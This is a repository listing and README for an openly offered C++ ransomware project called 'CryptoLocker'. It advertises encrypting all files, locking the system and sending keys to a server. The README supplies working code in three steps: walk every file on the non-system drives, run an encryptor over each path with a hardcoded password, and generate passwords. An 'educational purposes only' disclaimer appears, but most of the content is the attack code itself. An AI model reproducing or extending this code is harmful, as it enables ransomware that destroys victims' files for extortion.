https://github.com/ajayrandhawa/cryptolocker

CryptoLocker is open source files encrypt-er. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.
https://github.com/ajayrandhawa/cryptolocker

blackcat crypto exploit exploit-development hacking-tools ransomware ransomware-detection wannacry

Last synced: about 1 month ago
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CryptoLocker is open source files encrypt-er. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.

• Host: GitHub
• URL: https://github.com/ajayrandhawa/cryptolocker
• Owner: ajayrandhawa
• Created: 2018-08-22T15:29:39.000Z (over 6 years ago)
• Default Branch: master
• Last Pushed: 2023-06-21T09:27:13.000Z (over 1 year ago)
• Last Synced: 2023-10-20T16:18:15.647Z (about 1 year ago)
• Topics: blackcat, crypto, exploit, exploit-development, hacking-tools, ransomware, ransomware-detection, wannacry
• Homepage:
• Size: 5.41 MB
• Stars: 127
• Watchers: 12
• Forks: 59
• Open Issues: 1
• Metadata Files:
  • Readme: README.md

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README

        
#### DISCLAIMER : OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DON'T USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.

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# Cryptolocker

Crypto is open source Crypto-Locker. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.

Using a powerful 256-bit encryption algorithm, Once a file is encrypted, File is completely useless without the password. It simply cannot be read.

## Features

1. Strong AES Encryption. (Unbreakable)

2. Lockdown System Functionailty.

3. Multi-Thread Encryption.

4. Powerful Web Admin Interface



## Step 1 (Fetch files)

Getting all files from all drive to encrypting them.

Here is Visual C++ program get all list directory & files in drive and store path in text file for encryption later use. I use Boost C++ libraries to get all files list. Please first setup Boost libraries to compile program.

```

#include 

#include 

#include 

#include 

#include 

#include 

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;

	char dr_avail[MAX];

	char *temp = dr_avail;

	/* 1st we fill the buffer */

	GetLogicalDriveStrings(MAX, dr_avail);

	while (*temp != NULL) { // Split the buffer by null

		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {

				if (dir_error.value()) {

					cerr << "Error accessing file: " << dir_error.message() << endl;

				}

				else {

					cout << dir->path() << endl;

					out_file << dir->path() << "\n";

				}

			}

		}

		temp += lstrlen(temp) + 1;

	}

	out_file.close();

	system("pause");

	

```

## Step 2 (Encrypt files)

Here firstly I get every file path from "data.txt" line by line and send to this crypy tool with type encryption and password. you can also embed all this program in upper loop for getting path and encrypting data recursively.

```

out_file.open("data.txt", ios::in);

	string line;

	while (out_file.good()) {

		getline(out_file, line);

		cout << line << endl;

		std::string cmmd = "crpt.exe -e -p 4321 ";

		cmmd += line;

		system(cmmd.c_str());

	}

```

## Step 3 (Create Long String Complex Password Function)

Send length to function and function return complex long generated password which you can use for encryption.

```

string RandomString(int len)

{

	srand(time(0));

	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

	string newstr;

	int pos;

	while (newstr.size() != len) {

		pos = ((rand() % (str.size() - 1)));

		newstr += str.substr(pos, 1);

	}

	return newstr;

}

```

# Currently in Development....

# Happy Cyber Security.....Happy Open Source.......

# :)